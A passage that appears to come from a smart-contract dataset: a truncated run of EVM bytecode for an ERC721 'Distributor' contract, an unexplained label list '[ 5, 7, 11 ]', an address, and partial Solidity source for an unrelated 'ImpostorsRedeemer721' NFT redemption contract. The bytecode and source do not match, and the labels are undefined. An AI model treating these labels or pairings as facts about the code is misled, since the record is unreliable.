157506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060008054610be690613c4f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1290613c4f565b8015610c5f5780601f10610c3457610100808354040283529160200191610c5f565b820191906000526020600020905b815481529060010190602001808311610c4257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610ce25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f7565b506000908152600460205260409020546001600160a01b031690565b6000610d0982611a28565b9050806001600160a01b0316836001600160a01b03161415610d775760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107f7565b336001600160a01b0382161480610d935750610d9381336106b7565b610e055760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107f7565b610e0f83836128ff565b505050565b610e1e338261270a565b610e3a5760405162461bcd60e51b81526004016107f790613a9a565b610e0f83838361296d565b6006546001600160a01b03163314610e6f5760405162461bcd60e51b81526004016107f790613a65565b6040516227050b60e31b815261503160f01b60048201526000907f00000000000000000000000001bfd82675dbcc7762c84019ca518e701c0cd07e6001600160a01b03169063013828589060240160206040518083038186803b158015610ed557600080fd5b505afa158015610ee9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0d9190613220565b60405163095ea7b360e01b81526001600160a01b038083166004830152602482018690529192507f000000000000000000000000d7c49cee7e9188cca6ad8ff264c1da2e69d4cf3b9091169063095ea7b390604401602060405180830381600087803b158015610f7c57600080fd5b505af1158015610f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb4919061346e565b506040516328dd377360e01b8152600481018490526024810183905247906001600160a01b038316906328dd377390604401600060405180830381600087803b15801561100057600080fd5b505af1158015611014573d6000803e3d6000fd5b50479250611043915061102990508383613c0c565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee612b0d565b5050505050565b60008060008661105a338261270a565b6110765760405162461bcd60e51b81526004016107f790613a23565b8461108c6001600160a01b03821633308a612c0c565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b5811660048301526024820189905282169063095ea7b390604401602060405180830381600087803b1580156110f657600080fd5b505af115801561110a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112e919061346e565b506040516335a56e5160e01b8152600481018a905260248101899052604481018890526001600160a01b0387811660648301527f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b516906335a56e5190608401606060405180830381600087803b1580156111a757600080fd5b505af11580156111bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111df919061361f565b919650945092506111ef89612801565b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156112c657604051600090339086908381818185875af1925050503d8060008114611256576040519150601f19603f3d011682016040523d82523d6000602084013e61125b565b606091505b50509050806112c05760405162461bcd60e51b815260206004820152602b60248201527f4469737472696275746f723a20455448207472616e7366657220746f2073656e60448201526a3232b9103330b4b632b21760a91b60648201526084016107f7565b506112da565b6112da6001600160a01b038416338661289c565b604051339086908b907f9fe11e531030a058803617055e27f9f4768236e4322e13b9c4c09f4338e23a6890600090a450509450945094915050565b610e0f83838360405180602001604052806000815250611da1565b606060008761133f338261270a565b61135b5760405162461bcd60e51b81526004016107f790613a23565b6002600754141561137e5760405162461bcd60e51b81526004016107f790613aeb565b60026007558761143957604051630c249ab360e21b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b516906330926acc906113da908c908a908a908a90600401613b45565b600060405180830381600087803b1580156113f457600080fd5b505af1158015611408573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261143091908101906134c2565b92509250611734565b60006001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156115ab57883410156114805760405162461bcd60e51b81526004016107f7906139e1565b604051630c249ab360e21b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b516906330926acc9034906114d4908e908c908c908c90600401613b45565b6000604051808303818588803b1580156114ed57600080fd5b505af1158015611501573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261152a91908101906134c2565b9094509250611539838a613c0c565b604051909150600090339083908381818185875af1925050503d806000811461157e576040519150601f19603f3d011682016040523d82523d6000602084013e611583565b606091505b50509050806115a45760405162461bcd60e51b81526004016107f79061398b565b5050611734565b876115c16001600160a01b03821633308d612c0c565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b581166004830152602482018c905282169063095ea7b390604401602060405180830381600087803b15801561162b57600080fd5b505af115801561163f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611663919061346e565b50604051630c249ab360e21b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b516906330926acc906116b6908e908c908c908c90600401613b45565b600060405180830381600087803b1580156116d057600080fd5b505af11580156116e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261170c91908101906134c2565b909550935061171b848b613c0c565b91506117316001600160a01b038216338461289c565b50505b5060016007559097909650945050505050565b6006546001600160a01b031633146117715760405162461bcd60e51b81526004016107f790613a65565b60405163095ea7b360e01b81526001600160a01b038381166004830152602482018390527f000000000000000000000000d7c49cee7e9188cca6ad8ff264c1da2e69d4cf3b169063095ea7b390604401602060405180830381600087803b1580156117db57600080fd5b505af11580156117ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f919061346e565b6006546001600160a01b0316331461183d5760405162461bcd60e51b81526004016107f790613a65565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b58116600483015260001960248301527f000000000000000000000000d7c49cee7e9188cca6ad8ff264c1da2e69d4cf3b169063095ea7b390604401602060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611900919061346e565b50604051634ed75d4760e01b81526001600160a01b0382811660048301527f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b51690634ed75d4790602401600060405180830381600087803b15801561196457600080fd5b505af1158015611043573d6000803e3d6000fd5b60008060007f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b56001600160a01b03166352799e4d856040518263ffffffff1660e01b81526004016119cb91815260200190565b60606040518083038186803b1580156119e357600080fd5b505afa1580156119f7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1b919061353f565b9196909550909350915050565b6000818152600260205260408120546001600160a01b031680610bd15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107f7565b60006001600160a01b038216611b0a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107f7565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314611b505760405162461bcd60e51b81526004016107f790613a65565b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6006546001600160a01b03163314611bc45760405162461bcd60e51b81526004016107f790613a65565b6009805460ff19168215159081179091556040519081527f9bb395ab9cecfa0b2e9a6116e4ce74515255261ccf24ad9549add13c6169ceec906020015b60405180910390a150565b606060018054610be690613c4f565b6006546001600160a01b03163314611c455760405162461bcd60e51b81526004016107f790613a65565b611c796001600160a01b037f000000000000000000000000d7c49cee7e9188cca6ad8ff264c1da2e69d4cf3b16838361289c565b5050565b6001600160a01b038216331415611cd65760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107f7565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6006546001600160a01b03163314611d6c5760405162461bcd60e51b81526004016107f790613a65565b60088190556040518181527f97e97c577f03bda90e2c9739011ec065ed5fbfb36ae217d20bb0d9be95e160cd90602001611c01565b611dab338361270a565b611dc75760405162461bcd60e51b81526004016107f790613a9a565b611dd384848484612c44565b50505050565b6000818152600260205260409020546060906001600160a01b0316611e585760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016107f7565b6000611e6f60408051602081019091526000815290565b90506000815111611e8f5760405180602001604052806000815250611eba565b80611e9984612c77565b604051602001611eaa929190613808565b6040516020818303038152906040525b9392505050565b600060026007541415611ee65760405162461bcd60e51b81526004016107f790613aeb565b600260075560095460ff16611f3d5760405162461bcd60e51b815260206004820152601d60248201527f4469737472696275746f723a2062757973206e6f7420616c6c6f77656400000060448201526064016107f7565b60006001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b516635caca7b48b8b8b8b60ff8c168015611f9257634e487b7160e01b600052602160045260246000fd5b8a8a6040518863ffffffff1660e01b8152600401611fb69796959493929190613874565b60206040518083038186803b158015611fce57600080fd5b505afa158015611fe2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612006919061359c565b90506000816127108360085461201c9190613bed565b6120269190613bd9565b6120309190613bc1565b9050858111156120985760405162461bcd60e51b815260206004820152602d60248201527f4469737472696275746f723a20636f766572207072696365207769746820666560448201526c0ca40caf0c6cacac8e640dac2f609b1b60648201526084016107f7565b60006001600160a01b038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561216657813410156120df5760405162461bcd60e51b81526004016107f7906139e1565b60006120eb8334613c0c565b9050801561215d57604051600090339083908381818185875af1925050503d8060008114612135576040519150601f19603f3d011682016040523d82523d6000602084013e61213a565b606091505b505090508061215b5760405162461bcd60e51b81526004016107f79061398b565b505b83915050612221565b8a61217c6001600160a01b038216333086612c0c565b60405163095ea7b360e01b81526001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b5811660048301526024820186905282169063095ea7b390604401602060405180830381600087803b1580156121e657600080fd5b505af11580156121fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061221e919061346e565b50505b60007f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b56001600160a01b03166304836c4a838f8f8f8f8f60ff16600081111561227a57634e487b7160e01b600052602160045260246000fd5b8e8e6040518963ffffffff1660e01b815260040161229e9796959493929190613874565b6020604051808303818588803b1580156122b757600080fd5b505af11580156122cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122f0919061359c565b90506123056122ff8585613c0c565b8d612b0d565b61230f3382612d91565b60085460408051918252602082018690526001600160a01b038f1691339184917fa0105afc48bbd0c43e1c71d83dc1e02ae58388f3109943595b89e24a5ee1c365910160405180910390a460016007559c9b505050505050505050505050565b60008361237c338261270a565b6123985760405162461bcd60e51b81526004016107f790613a23565b60405163db32749160e01b81526000906001600160a01b037f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b5169063db327491906123eb90899089908990600401613b22565b602060405180830381600087803b15801561240557600080fd5b505af1158015612419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061243d919061359c565b6040519091503390829088907f9fe11e531030a058803617055e27f9f4768236e4322e13b9c4c09f4338e23a6890600090a495945050505050565b6006546001600160a01b031633146124a25760405162461bcd60e51b81526004016107f790613a65565b6001600160a01b0381166125035760405162461bcd60e51b815260206004820152602260248201527f4469737472696275746f723a2074726561737572792061646472657373206973604482015261020360f41b60648201526084016107f7565b60098054610100600160a81b0319166101006001600160a01b038416908102919091179091556040519081527fc714d22a2f08b695f81e7c707058db484aa5b4d6b4c9fd64beb10fe85832f60890602001611c01565b6006546001600160a01b031633146125835760405162461bcd60e51b81526004016107f790613a65565b6001600160a01b0381166125e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f7565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000806000806000807f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b56001600160a01b031663fd7b68a28a6040518263ffffffff1660e01b815260040161269e91815260200190565b6101006040518083038186803b1580156126b757600080fd5b505afa1580156126cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ef9190613706565b97509750975097509750975097509750919395975091939597565b6000818152600260205260408120546001600160a01b03166127835760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f7565b600061278e83611a28565b9050806001600160a01b0316846001600160a01b031614806127c95750836001600160a01b03166127be84610c69565b6001600160a01b0316145b806127f957506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b600061280c82611a28565b90506128196000836128ff565b6001600160a01b0381166000908152600360205260408120805460019290612842908490613c0c565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6040516001600160a01b038316602482015260448101829052610e0f90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612ed3565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061293482611a28565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b826001600160a01b031661298082611a28565b6001600160a01b0316146129e85760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107f7565b6001600160a01b038216612a4a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107f7565b612a556000826128ff565b6001600160a01b0383166000908152600360205260408120805460019290612a7e908490613c0c565b90915550506001600160a01b0382166000908152600360205260408120805460019290612aac908490613bc1565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612beb5760095460405160009161010090046001600160a01b03169084908381818185875af1925050503d8060008114612b84576040519150601f19603f3d011682016040523d82523d6000602084013e612b89565b606091505b5050905080610e0f5760405162461bcd60e51b815260206004820152602860248201527f4469737472696275746f723a205472616e7366657220746f20747265617375726044820152671e4819985a5b195960c21b60648201526084016107f7565b6009548190610e0f906001600160a01b03808416916101009004168561289c565b6040516001600160a01b0380851660248301528316604482015260648101829052611dd39085906323b872dd60e01b906084016128c8565b612c4f84848461296d565b612c5b84848484612fa5565b611dd35760405162461bcd60e51b81526004016107f790613939565b606081612c9b5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612cc55780612caf81613c8a565b9150612cbe9050600a83613bd9565b9150612c9f565b60008167ffffffffffffffff811115612cee57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612d18576020820181803683370190505b5090505b84156127f957612d2d600183613c0c565b9150612d3a600a86613ca5565b612d45906030613bc1565b60f81b818381518110612d6857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350612d8a600a86613bd9565b9450612d1c565b6001600160a01b038216612de75760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107f7565b6000818152600260205260409020546001600160a01b031615612e4c5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107f7565b6001600160a01b0382166000908152600360205260408120805460019290612e75908490613bc1565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000612f28826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166130b29092919063ffffffff16565b805190915015610e0f5780806020019051810190612f46919061346e565b610e0f5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016107f7565b60006001600160a01b0384163b156130a757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612fe9903390899088908890600401613837565b602060405180830381600087803b15801561300357600080fd5b505af1925050508015613033575060408051601f3d908101601f19168201909252613030918101906134a6565b60015b61308d573d808015613061576040519150601f19603f3d011682016040523d82523d6000602084013e613066565b606091505b5080516130855760405162461bcd60e51b81526004016107f790613939565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506127f9565b506001949350505050565b60606127f9848460008585843b61310b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016107f7565b600080866001600160a01b0316858760405161312791906137ec565b60006040518083038185875af1925050503d8060008114613164576040519150601f19603f3d011682016040523d82523d6000602084013e613169565b606091505b5091509150613179828286613184565b979650505050505050565b60608315613193575081611eba565b8251156131a35782518084602001fd5b8160405162461bcd60e51b81526004016107f79190613926565b60008083601f8401126131ce578182fd5b50813567ffffffffffffffff8111156131e5578182fd5b6020830191508360208285010111156131fd57600080fd5b9250929050565b600060208284031215613215578081fd5b8135611eba81613d11565b600060208284031215613231578081fd5b8151611eba81613d11565b6000806040838503121561324e578081fd5b823561325981613d11565b9150602083013561326981613d11565b809150509250929050565b600080600060608486031215613288578081fd5b833561329381613d11565b925060208401356132a381613d11565b929592945050506040919091013590565b600080600080608085870312156132c9578081fd5b84356132d481613d11565b935060208501356132e481613d11565b925060408501359150606085013567ffffffffffffffff811115613306578182fd5b8501601f81018713613316578182fd5b803561332961332482613b99565b613b68565b81815288602083850101111561333d578384fd5b81602084016020830137908101602001929092525092959194509250565b60008060008060008060008060e0898b031215613376578384fd5b883561338181613d11565b9750602089013561339181613d11565b96506040890135955060608901356133a881613d4d565b945060808901356133b881613d5d565b935060a0890135925060c089013567ffffffffffffffff8111156133da578283fd5b6133e68b828c016131bd565b999c989b5096995094979396929594505050565b6000806040838503121561340c578182fd5b823561341781613d11565b9150602083013561326981613d29565b60008060408385031215613439578182fd5b823561344481613d11565b946020939093013593505050565b600060208284031215613463578081fd5b8135611eba81613d29565b60006020828403121561347f578081fd5b8151611eba81613d29565b60006020828403121561349b578081fd5b8135611eba81613d37565b6000602082840312156134b7578081fd5b8151611eba81613d37565b600080604083850312156134d4578182fd5b825167ffffffffffffffff8111156134ea578283fd5b8301601f810185136134fa578283fd5b805161350861332482613b99565b81815286602083850101111561351c578485fd5b61352d826020830160208601613c23565b60209590950151949694955050505050565b600080600060608486031215613553578081fd5b835160038110613561578182fd5b60208501516040860151919450925061357981613d11565b809150509250925092565b600060208284031215613595578081fd5b5035919050565b6000602082840312156135ad578081fd5b5051919050565b6000806000604084860312156135c8578081fd5b83359250602084013567ffffffffffffffff8111156135e5578182fd5b6135f1868287016131bd565b9497909650939450505050565b60008060408385031215613610578182fd5b50508035926020909101359150565b600080600060608486031215613633578081fd5b8351925060208401519150604084015161357981613d11565b60008060008060008060a08789031215613664578384fd5b8635955060208701359450604087013561367d81613d11565b9350606087013561368d81613d5d565b9250608087013567ffffffffffffffff8111156136a8578283fd5b6136b489828a016131bd565b979a9699509497509295939492505050565b600080600080608085870312156136db578182fd5b84359350602085013592506040850135915060608501356136fb81613d11565b939692955090935050565b600080600080600080600080610100898b031215613722578182fd5b885161372d81613d5d565b60208a015160408b0151919950975061374581613d4d565b60608a015160808b0151919750955061375d81613d11565b60a08a015190945061376e81613d11565b60c08a015160e08b0151919450925061378681613d11565b809150509295985092959890939650565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b600081518084526137d8816020860160208601613c23565b601f01601f19169290920160200192915050565b600082516137fe818460208701613c23565b9190910192915050565b6000835161381a818460208801613c23565b83519083019061382e818360208801613c23565b01949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061386a908301846137c0565b9695505050505050565b6001600160a01b038881168252871660208201526040810186905261ffff851660608201526000600185106138ab576138ab613ce5565b84608083015260c060a08301526138c660c083018486613797565b9998505050505050505050565b6040815260006138e660408301856137c0565b90508260208301529392505050565b606081016003851061390957613909613ce5565b93815260208101929092526001600160a01b031660409091015290565b602081526000611eba60208301846137c0565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526036908201527f4469737472696275746f723a2052657475726e696e67204554482072656d6169604082015275373232b9103a379039b2b73232b9103330b4b632b21760511b606082015260800190565b60208082526022908201527f4469737472696275746f723a20496e73756666696369656e74204554482073656040820152611b9d60f21b606082015260800190565b60208082526022908201527f4469737472696275746f723a204e6f7420617070726f766564206f72206f776e60408201526132b960f11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b838152604060208201526000613b3c604083018486613797565b95945050505050565b84815260ff8416602082015260606040820152600061386a606083018486613797565b604051601f8201601f1916810167ffffffffffffffff81118282101715613b9157613b91613cfb565b604052919050565b600067ffffffffffffffff821115613bb357613bb3613cfb565b50601f01601f191660200190565b60008219821115613bd457613bd4613cb9565b500190565b600082613be857613be8613ccf565b500490565b6000816000190483118215151615613c0757613c07613cb9565b500290565b600082821015613c1e57613c1e613cb9565b500390565b60005b83811015613c3e578181015183820152602001613c26565b83811115611dd35750506000910152565b600181811c90821680613c6357607f821691505b60208210811415613c8457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613c9e57613c9e613cb9565b5060010190565b600082613cb457613cb4613ccf565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114613d2657600080fd5b50565b8015158114613d2657600080fd5b6001600160e01b031981168114613d2657600080fd5b61ffff81168114613d2657600080fd5b60ff81168114613d2657600080fdfea26469706673582212205f7d94701cc12c8b71e76a38f00b2a4a10541423cce90905c686314646ca5a9664736f6c63430008040033
[ 5, 7, 11 ]
0xF2B49397F91De858Ed4138A066b70ECef99dB087
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../interfaces/ITiny721.sol"; /* It saves bytecode to revert on custom errors instead of using require statements. We are just declaring these errors for reverting with upon various conditions later in this contract. */ error CannotConfigureEmptyCriteria(); error CannotConfigureWithoutOutputItem(); error CannotConfigureWithoutPaymentToken(); error CannotRedeemForZeroItems(); error CannotRedeemCriteriaLengthMismatch(); error CannotRedeemItemAlreadyRedeemed(); error CannotRedeemUnownedItem(); error SweepingTransferFailed(); /** @title A contract for minting ERC-721 items given an ERC-20 token burn and ownership of some prerequisite ERC-721 items. @author 0xthrpw @author Tim Clancy This contract allows for the configuration of multiple redemption rounds. Each redemption round is configured with a set of ERC-721 item collection addresses in the `redemptionCriteria` mapping that any prospective redeemers must hold. Each redemption round is also configured with a redemption configuration per the `redemptionConfigs` mapping. This configuration allows a caller holding the required ERC-721 items to mint some amount `amountOut` of a new ERC-721 `tokenOut` item in exchange for burning `price` amount of a `payingToken` ERC-20 token. Any ERC-721 collection being minted by this redeemer must grant minting permissions to this contract in some fashion. Users must also approve this contract to spend any requisite `payingToken` ERC-20 tokens on their behalf. April 27th, 2022. */ contract ImpostorsRedeemer721 is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; /** A configurable address to transfer burned ERC-20 tokens to. The intent of specifying an address like this is to support burning otherwise unburnable ERC-20 tokens by transferring them to provably unrecoverable destinations, such as blackhole smart contracts. */ address public immutable burnDestination; /** A mapping from a redemption round ID to an array of ERC-721 item collection addresses required to be held in fulfilling a redemption claim. In order to participate in a redemption round, a caller must hold a specific item from each of these required ERC-721 item collections. */ mapping ( uint256 => address[] ) public redemptionCriteria; /** This struct is used when configuring a redemption round to specify a caller's required payment and the ERC-721 items they may be minted in return. @param price The amount of `payingToken` that a caller must pay for each set of items redeemed in this round. @param tokenOut The address of the ERC-721 item collection from which a caller will receive newly-minted items. @param payingToken The ERC-20 token of which `price` must be paid for each redemption. @param amountOut The number of new `tokenOut` ERC-721 items a caller will receive in return for fulfilling a claim. */ struct RedemptionConfig { uint96 price; address tokenOut; address payingToken; uint96 amountOut; } /// A mapping from a redemption round ID to its configuration details. mapping ( uint256 => RedemptionConfig ) public redemptionConfigs; /** A triple mapping from a redemption round ID to an ERC-721 item collection address to the token ID of a specific item in the ERC-721 item collection. This mapping ensures that a specific item can only be used once in any given redemption round. */ mapping ( uint256 => mapping ( address => mapping ( uint256 => bool ) ) ) public redeemed; /** An event tracking a claim in a redemption round for some ERC-721 items. @param round The redemption round ID involved in the claim. @param caller The caller who triggered the claim. @param tokenIds The array of token IDs for specific items keyed against the matching `criteria` paramter. */ event TokenRedemption ( uint256 indexed round, address indexed caller, uint256[] tokenIds ); /** An event tracking a configuration update for the details of a particular redemption round. @param round The redemption round ID with updated configuration. @param criteria The array of ERC-721 item collection addresses required for fulfilling a redemption claim in this round. @param configuration The updated `RedemptionConfig` configuration details for this round. */ event ConfigUpdate ( uint256 indexed round, address[] indexed criteria, RedemptionConfig indexed configuration ); /** Construct a new item redeemer by specifying a destination for burnt tokens. @param _burnDestination An address where tokens received for fulfilling redemptions are sent. */ constructor ( address _burnDestination ) { burnDestination = _burnDestination; } /** Easily check the redemption status of multiple tokens of a single collection in a single round. @param _round The round to check for token redemption against. @param _collection The address of the specific item collection to check. @param _tokenIds An array of token IDs belonging to the collection `_collection` to check for redemption status. @return An array of boolean redemption status for each of the items being checked in `_tokenIds`. */ function isRedeemed ( uint256 _round, address _collection, uint256[] memory _tokenIds ) external view returns (bool[] memory) { bool[] memory redemptionStatus = new bool[](_tokenIds.length); for (uint256 i = 0; i < _tokenIds.length; i += 1) { redemptionStatus[i] = redeemed[_round][_collection][_tokenIds[i]]; } return redemptionStatus; } /** Set the configuration details for a particular redemption round. A specific redemption round may be effectively disabled by setting the `amountOut` field of the given `RedemptionConfig` `_config` value to 0. @param _round The redemption round ID to configure. @param _criteria An array of ERC-721 item collection addresses to require holdings from when a caller attempts to redeem from the round of ID `_round`. @param _config The `RedemptionConfig` configuration data to use for setting new configuration details for the round of ID `_round`. */ function setConfig ( uint256 _round, address[] calldata _criteria, RedemptionConfig calldata _config ) external onlyOwner { /* Prevent a redemption round from being configured with no requisite ERC-721 item collection holding criteria. */ if (_criteria.length == 0) { revert CannotConfigureEmptyCriteria(); } /* Perform input validation on the provided configuration details. A redemption round may not be configured with no ERC-721 item collection to mint as output. */ if (_config.tokenOut == address(0)) { revert CannotConfigureWithoutOutputItem(); } /* A redemption round may not be configured with no ERC-20 token address to attempt to enforce payment from. */ if (_config.payingToken == address(0)) { revert CannotConfigureWithoutPaymentToken(); } // Update the redemption criteria of this round. redemptionCriteria[_round] = _criteria; // Update the contents of the round configuration mapping. redemptionConfigs[_round] = RedemptionConfig({ amountOut: _config.amountOut, price: _config.price, tokenOut: _config.tokenOut, payingToken: _config.payingToken }); // Emit the configuration update event. emit ConfigUpdate(_round, _criteria, _config); } /** Allow a caller to redeem potentially multiple sets of criteria ERC-721 items in `_tokenIds` against the redemption round of ID `_round`. @param _round The ID of the redemption round to redeem against. @param _tokenIds An array of token IDs for the specific ERC-721 items keyed to the item collection criteria addresses for this round in the `redemptionCriteria` mapping. */ function redeem ( uint256 _round, uint256[][] memory _tokenIds ) external nonReentrant { address[] memory criteria = redemptionCriteria[_round]; RedemptionConfig memory config = redemptionConfigs[_round]; // Prevent a caller from redeeming from a round with zero output items. if (config.amountOut < 1) { revert CannotRedeemForZeroItems(); } /* The caller may be attempting to redeem for multiple independent sets of items in this redemption round. Process each set of token IDs against the criteria addresses. */ for (uint256 set = 0; set < _tokenIds.length; set += 1) { /* If the item set is not the same length as the criteria array, we have a mismatch and the set cannot possibly be fulfilled. */ if (_tokenIds[set].length != criteria.length) { revert CannotRedeemCriteriaLengthMismatch(); } /* Check each item in the set against each of the expected, required criteria collections. */ for (uint256 i; i < criteria.length; i += 1) { // Verify that no item may be redeemed twice against a single round. if (redeemed[_round][criteria[i]][_tokenIds[set][i]]) { revert CannotRedeemItemAlreadyRedeemed(); } /* Verify that the caller owns each of the items involved in the redemption claim. */ if (ITiny721(criteria[i]).ownerOf(_tokenIds[set][i]) != _msgSender()) { revert CannotRedeemUnownedItem(); } // Flag each item as redeemed against this round. redeemed[_round][criteria[i]][_tokenIds[set][i]] = true; } // Emit an event indicating which tokens were redeemed. emit TokenRedemption(_round, _msgSender(), _tokenIds[set]); } 